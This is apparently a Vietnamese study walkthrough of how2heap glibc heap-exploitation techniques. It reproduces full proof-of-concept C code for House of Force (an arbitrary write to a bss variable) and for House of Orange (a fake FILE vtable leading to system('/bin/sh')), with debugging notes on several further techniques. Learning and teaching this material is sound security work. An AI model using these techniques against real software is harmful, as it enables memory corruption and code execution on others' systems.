Try   HackMD

How2Heap Walkthrough

I. House of Force - Exploit Top chunk

1. Source code và các ràng buộc

  • Decription : Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer
  • Referrence: how2heap : HouseOfForce
/*

   This PoC works also with ASLR enabled.
   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
   ( http://phrack.org/issues/66/10.html )

   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04

*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
    int a ;
    scanf("%d",&a);
	fprintf(stderr, "\nWelcome to the House of Force\n\n");
	fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
    // y tuong se dung HOF de overwrite top chunk va de malloc return 1 gia tri tuy y.
	fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
		"and is the chunk that will be resized when malloc asks for more space from the os.\n");

	fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
    // su dung HOF de overwrite value in bss_var
	fprintf(stderr, "Its current value is: %s\n", bss_var);



	fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");//cap phat 1 chunk
	intptr_t *p1 = malloc(256);
	fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2); //in ra dia chi cua metadata

	fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
    // hien tai, heap gom 2 chunk : chunk(256) + top chunk
	int real_size = malloc_usable_size(p1); //lay size cua chunk p1 -> real_size
	fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

	fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");
    // tao ra 1 vuln de overwrite top chunk

	//----- VULNERABILITY ----
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
	fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top); //in ra dia chi cua Top chunk

	fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
    // overwrite Top chunk voi value rat lon -> malloc se khong goi den mmap

	fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));// in ra old_size cua Top_chunk
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; // overwrite Top_chunk

	fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));// in ra new_size cua Top_chunk
	//------------------------

	fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
	   "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
	   "overflow) and will then be able to allocate a chunk right over the desired region.\n");
    /* Bay gio, Top_chunk rat lon -> malloc se khong goi den mmap
    -> dung malloc de cap phat 1 chunk den dia chi mong muon
    -> va sau do cap phat 1 chunk tren vung nho do
    */


	/*
	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
	 * new_top = old_top + nb
	 * nb = new_top - old_top
	 * req + 2sizeof(long) = new_top - old_top
	 * req = new_top - old_top - 2sizeof(long)
	 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
	 * req = dest - old_top - 4*sizeof(long)
	 */
	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
	fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
	   "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);

	void *new_ptr = malloc(evil_size);
	fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
    // dia chi chunk sau maloc = dia chi cua Top_chunk 

	void* ctr_chunk = malloc(100); //cap phat den vi tri muon overwrite
	fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
	fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
	fprintf(stderr, "Now, we can finally overwrite that value:\n");

	fprintf(stderr, "... old string: %s\n", bss_var);
	fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
	strcpy(ctr_chunk, "YEAH!!!"); // overwrite target
	fprintf(stderr, "... new string: %s\n", bss_var);

	assert(ctr_chunk == bss_var);


	// some further discussion:
	//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
	//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
	//	"and we \nwant to set this result to the address of malloc_got_address-8\n\n");
	//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
	//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
	//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
	//	"\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

	//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
	//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

	//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

2. Go to debug

2.1 Build challenge

  • Build Docker 16.04 (với libc 2.23) -> chạy vào docker rồi build source code
  • Build : gcc --no-pie chall.c -o chall

2.2 Debug

  • Kĩ thuật này nhìn chung khá đơn giản, dễ hiểu nên chúng ta sẽ điểm qua cũng thứ quan trọng nhất.

Quan sát bố cục của chunk:

  • Sau khi malloc lần 1 với size = 0x100

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    • chunk 1 :
      • size : 0x111
      • address : 0x2294020
  • Set-up sao cho Top_chunk là 1 giá trị rất lớn

    ​​​​fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    ​​​​*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1; 
    ​​​​fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    • Điều này xuất phát từ cơ chế lấy chunk của hàm malloc
      • hàm malloc sẽ lấy chunk từ Top chunk
      • Khi kích thước của Top chunk không còn đủ để việc cấp phát -> OS sẽ sử dụng mmap để cấp phát bộ nhớ
      • Việc overwrite top_chunk thành 1 số rất lớn ( 0xfffffffffffffff ) -> khiến cho malloc sẽ không gọi được tới mmap
  • Tính toán size để ở lần malloc kế tiếp có thể malloc được vùng muốn ghi vào

    ​​​​unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    ​​​​fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
    ​​​​   "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
    

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    -> Ở lần malloc tiếp, chúng ta sẽ có thể lấy chunk từ fake top_chunk

  • malloc chunk (target muốn overwrite)

    ​​​​void* ctr_chunk = malloc(100); //cap phat den vi tri muon overwrite
    ​​​​fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
    ​​​​fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
    ​​​​fprintf(stderr, "Now, we can finally overwrite that value:\n");
    

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

3. Tổng kết :

3.1 Ý tưởng

  • Thay đổi top_chunk làm cho malloc() sẽ không gọi được đến mmap khi tổng kích thước các chunk đã vượt quá top_chunk ban đầu -> Khi đó các địa chỉ sẽ được cộng dần và sẽ ghi đè vào các vùng nhớ liền kề với heap.

3.2 Ứng dụng

  • Với Relro partial hoặc Disable, hoàn toàn có thể malloc đến GOT để overwrite GOT
  • Nói chung là modify được các vùng nhớ ghi được : con trỏ hàm, GOT, fini_array,
  • Các dạng bài về Heap OverFlow

II. House Of Orange - Exploit Top_chunk - FSOP

1. Source code và các ràng buộc

  • Description: Exploiting the Top Chunk (Wilderness) in order to gain arbitrary code execution
  • Referrences: How2heap-HouseOfOrange

source code.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
  The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
  It requires a leak of the heap and the libc
  Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

/*
   This function is just present to emulate the scenario where
   the address of the function system is known.
*/
int winner ( char *ptr);

int main()
{
    /*
      The House of Orange starts with the assumption that a buffer overflow exists on the heap
      using which the Top (also called the Wilderness) chunk can be corrupted.
      
      At the beginning of execution, the entire heap is part of the Top chunk.
      The first allocations are usually pieces of the Top chunk that are broken off to service the request.
      Thus, with every allocation, the Top chunks keeps getting smaller.
      And in a situation where the size of the Top chunk is smaller than the requested value,
      there are two possibilities:
       1) Extend the Top chunk
       2) Mmap a new page

      If the size requested is smaller than 0x21000, then the former is followed.
    */

    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
  
    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    /*
      Firstly, lets allocate a chunk on the heap.
    */

    p1 = malloc(0x400-16);

    /*
       The heap is usually allocated with a top chunk of size 0x21000
       Since we've allocate a chunk of size 0x400 already,
       what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.

       The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
       it must also be page aligned at the end.

       Also, if a chunk that is adjacent to the Top chunk is to be freed,
       then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.

       So that means that there are two conditions that must always be true.
        1) Top chunk + size has to be page aligned
        2) Top chunk's prev_inuse bit has to be set.

       We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
       What's left is 0x20c01

       Now, let's satisfy the conditions
       1) Top chunk + size has to be page aligned
       2) Top chunk's prev_inuse bit has to be set.
    */

    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    /* 
       Now we request a chunk of size larger than the size of the Top chunk.
       Malloc tries to service this request by extending the Top chunk
       This forces sysmalloc to be invoked.

       In the usual scenario, the heap looks like the following
          |------------|------------|------...----|
          |    chunk   |    chunk   | Top  ...    |
          |------------|------------|------...----|
      heap start                              heap end

       And the new area that gets allocated is contiguous to the old heap end.
       So the new size of the Top chunk is the sum of the old size and the newly allocated size.

       In order to keep track of this change in size, malloc uses a fencepost chunk,
       which is basically a temporary chunk.

       After the size of the Top chunk has been updated, this chunk gets freed.

       In our scenario however, the heap looks like
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | Top  ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                            heap end

       In this situation, the new Top will be starting from an address that is adjacent to the heap end.
       So the area between the second chunk and the heap end is unused.
       And the old Top chunk gets freed.
       Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
       it gets added to list of unsorted bins.
       Now we request a chunk of size larger than the size of the top chunk.
       This forces sysmalloc to be invoked.
       And ultimately invokes _int_free

       Finally the heap looks like this:
          |------------|------------|------..--|--...--|---------|
          |    chunk   |    chunk   | free ..  |  ...  | new Top |
          |------------|------------|------..--|--...--|---------|
     heap start                                             new heap end



    */

    p2 = malloc(0x1000);
    /*
      Note that the above chunk will be allocated in a different page
      that gets mmapped. It will be placed after the old heap's end

      Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins


      Here starts phase two of the attack. We assume that we have an overflow into the old
      top chunk so we could overwrite the chunk's size.
      For the second phase we utilize this overflow again to overwrite the fd and bk pointer
      of this chunk in the unsorted bin list.
      There are two common ways to exploit the current state:
        - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
        - Use the unlinking of the chunk for an *where*-controlled write of the
          libc's main_arena unsorted-bin-list. (requires at least one allocation)

      The former attack is pretty straight forward to exploit, so we will only elaborate
      on a variant of the latter, developed by Angelboy in the blog post linked above.

      The attack is pretty stunning, as it exploits the abort call itself, which
      is triggered when the libc detects any bogus state of the heap.
      Whenever abort is triggered, it will flush all the file pointers by calling
      _IO_flush_all_lockp. Eventually, walking through the linked list in
      _IO_list_all and calling _IO_OVERFLOW on them.

      The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
      _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
      that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
      More about file-pointer exploitation can be found here:
      https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

      The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
      currently point to the libc's main_arena.
    */

    io_list_all = top[2] + 0x9a8;

    /*
      We plan to overwrite the fd and bk pointers of the old top,
      which has now been added to the unsorted bins.

      When malloc tries to satisfy a request by splitting this free chunk
      the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
      in libc's main_arena.

      Note that this overwrite occurs before the sanity check and therefore, will occur in any
      case.

      Here, we require that chunk->bk->fd to be the value of _IO_list_all.
      So, we should set chunk->bk to be _IO_list_all - 16
    */
 
    top[3] = io_list_all - 0x10;

    /*
      At the end, the system function will be invoked with the pointer to this file pointer.
      If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
    */

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    /*
      The function _IO_flush_all_lockp iterates through the file pointer linked-list
      in _IO_list_all.
      Since we can only overwrite this address with main_arena's unsorted-bin-list,
      the idea is to get control over the memory at the corresponding fd-ptr.
      The address of the next file pointer is located at base_address+0x68.
      This corresponds to smallbin-4, which holds all the smallbins of
      sizes between 90 and 98. For further information about the libc's bin organisation
      see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/

      Since we overflow the old top chunk, we also control it's size field.
      Here it gets a little bit tricky, currently the old top chunk is in the
      unsortedbin list. For each allocation, malloc tries to serve the chunks
      in this list first, therefore, iterates over the list.
      Furthermore, it will sort all non-fitting chunks into the corresponding bins.
      If we set the size to 0x61 (97) (prev_inuse bit has to be set)
      and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
      smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
      therefore, occupying the smallbin[4] location in the main_arena and
      eventually representing the fake file pointer's fd-ptr.

      In addition to sorting, malloc will also perform certain size checks on them,
      so after sorting the old top chunk and following the bogus fd pointer
      to _IO_list_all, it will check the corresponding size field, detect
      that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
      and finally triggering the abort call that gets our chain rolling.
      Here is the corresponding code in the libc:
      https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
    */

    top[1] = 0x61;

    /*
      Now comes the part where we satisfy the constraints on the fake file pointer
      required by the function _IO_flush_all_lockp and tested here:
      https://code.woboq.org/userspace/glibc/libio/genops.c.html#813

      We want to satisfy the first condition:
      fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
    */

    FILE *fp = (FILE *) top;


    /*
      1. Set mode to 0: fp->_mode <= 0
    */

    fp->_mode = 0; // top+0xc0


    /*
      2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
    */

    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28


    /*
      4) Finally set the jump table to controlled memory and place system there.
      The jump table pointer is right after the FILE struct:
      base_address+sizeof(FILE) = jump_table

         4-a)  _IO_OVERFLOW  calls the ptr at offset 3: jump_table+0x18 == winner
    */

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);

   /*
     The libc's error message will be printed to the screen
     But you'll get a shell anyways.
   */

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    syscall(SYS_exit, 0);
    return 0;
}

2. Go to debug

  • Trong kĩ thuật này mình debug trên phiên bản libc 2.23
  • Ban đầu chúng ta sẽ malloc(0x400-16)
    image
  • Tiếp theo sẽ thay đổi top_chunk để chuẩn bị malloc 1 chunk > size top_chunk
    image

2.1
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Overwrite top_chunk - Tại sao là 0x7f1 ???

  • Điều làm chúng ta thắc mắc chính là size của top_chunk = 0x7f1 ?
  • Đoạn này mình thử overwrite top_chunk = 0xc01(1 cái size khác) và xem kết quả :
    image

    malloc.c:2392: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.

  • Đọc source libc : assert
    image

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Yêu cầu điều kiện :

Để hàm assert() không được gọi thì cần thỏa mãn 1 trong 2 điều kiện

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
TH1 : old_top == initial_top(av) && old_size == 0

  • Ta có : old_size = chunksize (old_top)
    -> Điều kiện này luôn sai

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
TH2 : ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)

  • prev_inuse bật (=1)
  • MINSIZE = 0x10
  • ((unsigned long) old_end & (pagesize - 1)) == 0)) > old_end chia hêt 0x1000
    • old_end = (char *) (chunk_at_offset (old_top, old_size));
    • chunk_at_offset : #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
      image

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Tổng kêt điều kiện :

  • Bit prev_inuse = 1
  • Size của top_chunk + địa chỉ top_chunk chia hêt 0x1000
  • size >= 0x10

put into unsorted bin

  • Sau khi đã thỏa mãn các điều kiện, chương trình sẽ gọi int_free() để đưa top_chunk cũ vào unsorted bin
    image

2.2
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Heap overflow exploit unsortedbin

Main_arena

  • Trước khi đến với phần tiếp theo để liên kết kiến thức thì chung ta sẽ tìm hiểu 1 kiến thức cực kì quan trọng về Heap chinh là main_arena
  • Heap đưa struct main_arena vào ngay trong bộ nhớ tiến trình. Đây là struct có kiểu malloc_state và chứa các trường sau ( trích từ glibc-2.23/malloc/malloc.c ):
static struct malloc_state main_arena =
{
  .mutex = _LIBC_LOCK_INITIALIZER,
  .next = &main_arena,
  .attached_threads = 1
};
struct malloc_state
{
  /* Serialize access.  */
  mutex_t mutex;

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
mutex_t mutex;
  • là 1 số nguyên + glibc dùng để bảo vệ arena khỏi xung đột các thread
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
int flags;
  • 1 số nguyên mà main_arena dùng để đánh dấu chinh nó hoặc gán các thuộc tính
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
mfastbinptr fastbinsY[NFASTBINS]
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
mchunkptr top + last_remainder + bins[NBINS * 2 - 2]
  • struct : mchunkptr
  • mchunkptr top: Đây là con trỏ trỏ tới chunk trên cùng của heap
  • mchunkptr bins: Đây là một con trỏ trỏ tới phần đầu của các unsorted bins
  • unsigned int binmap: Đây là một danh sách các chỉ mục cho tất cả các bins, chỉ ra bin nào đang trống
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
main_arena trong gdb
  • Khi 1 chunk đưa vao unsorted bin -> sẽ lưu địa chỉ của main_arena
    image
    • Địa chỉ được lưu ở ubin chính là địa chỉ của con trỏ *top trong lưu (chính là địa chỉ top_chunk hiện tại)
      image

      image
    • Kích thước của heap cũng được mở rộng :
      image

      image

      image
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Unsortbin attack (HowtoHeap)
  • Tuy không phải là kĩ thuật tổ quát hay duy nhất để thực hiện House of Orange nhưng nếu HowtoHeap đã gợi ý thì học luôn vậy. Đâm lao thì theo lao thôi :))
  • Unsortbin attack
  • Dựa trên kết quả từ Ubin Attack
  • Trước
    image

    image
  • Sau
    image

2.3
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
From _IO_flush_all_lockp to FSOP

  • Kĩ thuật này được đề cập trong FSOP-Angel Boy
  • Khi malloc gặp lỗi sẽ call malloc_printerr -> -> IO_flush _all_lockp (là nơi trực tiếp bị khai thác)
    image

_IO_flush_all_lockp hoạt động như thế nào ?

  • Theo AngelBoy,
    image
  • _IO_flush_all_lockp.c
    ​​​​...
    ​​​​fp = (_IO_FILE *) _IO_list_all;
    ​​​​while (fp != NULL)
    ​​​​{
    ​​​​  run_fp = fp;
    ​​​​  if (do_lock)
    ​​​​_IO_flockfile (fp);
    
    ​​​​  if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    ​​​​#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    ​​​​   || (_IO_vtable_offset (fp) == 0
    ​​​​       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
    ​​​​                > fp->_wide_data->_IO_write_base))
    ​​​​#endif
    ​​​​   )
    ​​​​  && _IO_OVERFLOW (fp, EOF) == EOF)
    ​​​​result = EOF;
    ​​​​...
    
  • Dựa trên source code thì ta có thể hàm này sẽ duyệt qua các IO_FILE và sau đó call _IO_OVERFLOW (fp, EOF) == EOF) (đây là 1 con trỏ hàm trong vtable)

Target FSOP

  • Sau khi hiểu được workflow, ta có được ý tưởng của kĩ thuật này như sau :
    image

Ta có thể kĩ thuật này sẽ thay đổi chain của IO_FILE + vtable để khi call _IO_OVERFLOW sẽ call hàm mà chúng ta mong muốn

III. UnsortedBin Attack

  • Trong quá trình làm kĩ thuật House of Orange mà HowtoHeap đê cập nên nó sẽ bổ trợ của HOO .
  • Kĩ thuật xuất phát từ cách dùng lại chunk ở trong UnsortedBin
  • Bố trí của Unsortbin chính là 1 DSLK đôi
    image
  • Sau khi overwrite bk của chunk trong ubin -> vị trí tại (bk+0x10) = fd
  • Trước

    image
    image

  • Sau :

    image
    image

IV. House Of Tangerine

  • Là 1 phiên bản mới hơn so với House Of Orange
  • Ý tưởng : overwrite top_chunk thành size phù hợp với fastbin hoặc tcache sau đó đưa top_chunk vào bin.
    -> House này thường sẽ có Heap Overflow
    -> Ngoài ra còn có thể gây lỗi Use After Free/Double Free

V. Heap consolidation - Off by one

image

image

  • Byte tràn là NULL. Khi kích thước là 0x100, việc tràn byte NULL sẽ làm cho prev_in_usebit bị xóa, do đó khối trước đó được coi là khối trống. (1) Lúc này bạn có thể chọn sử dụng phương thức hủy liên kết (xem phần hủy liên kết) để xử lý. (2) Ngoài ra, khi trường prev_size được bật, bạn có thể giả mạo prev_size, gây ra sự chồng chéo giữa các khối. Chìa khóa của phương pháp này là việc hủy liên kết không kiểm tra xem khối cuối cùng của khối được tìm thấy bởi prev_size(về mặt lý thuyết là khối hiện chưa được liên kết) có bằng kích thước khối hiện đang được hủy liên kết hay không.

image

VI. House of spirit - Fast bin bypass

  • Mục tiêu : fake địa chỉ stack, bss, vào fastbin để ghi vào đó tùy ý.

note

  • long fake_chunks[10] __attribute__ ((aligned (0x10)));
    • long : 64bit
    • attribute ((aligned (0x10))) : Địa chỉ bắt đầu của mảng fake_chunks sẽ được căn thẳng tới biên có bội số của 16 byte.
  • fake_chunks[9] = 0x1234 : mục tiêu đoạn này là bypass qua check size của next chunk của fastbin

ý tưởng

  • Bản chất cảu skill này là thực hiện fake chunk trên fast bin sao cho chuẩn với các bài test của glibc

misaligned_chunk

image

  • Kiểm tra xem phần địa chỉ userdata có chia hết cho 16 hay không
  • Lí do cho việc : __attribute__ ((aligned (0x10)));

next chunk

minsize

image

  • size của next chunk phải có kích thức >= 0x20 (với 64bit)
  • Ở phần tính toán next chunk thì dựa vào address + size

maxsize

image

  • max_size ≈ 128 KB -> nói chung fake bé bé thôi
    image

VII. House Of Botcake (double free -> tcache to stack)

  • Target : fake chunk đến địa chỉ tùy ý (stack, libc,) dựa trên double free
  • Ý tưởng :
    • Lấp đầy tcache (7 chunk) -> đưa chunk vào unsorted -> sau sẽ tận dụng để gộp chunk trong unsorted
    • Đưa 1 chunk vào unsorted -> có thể lấy libc qua UAF, chuẩn bị gộp chunk
      image
    • free chunk c để b+c gộp lại -> sau này malloc(0x100+0x100) -> control được cả chunk c
      image
    • lấy chunk a khỏi tcache bằng malloc(0x100) -> tcache còn dư 1 vị trí
    • free chunk c (lỗi double free) -> chunk c sẽ nằm ở đỉnh tcache
    • control chunk c (control luôn tcache) bằng malloc(0x100+0x100) thì sẽ lấy luôn cả chunk b+c
      image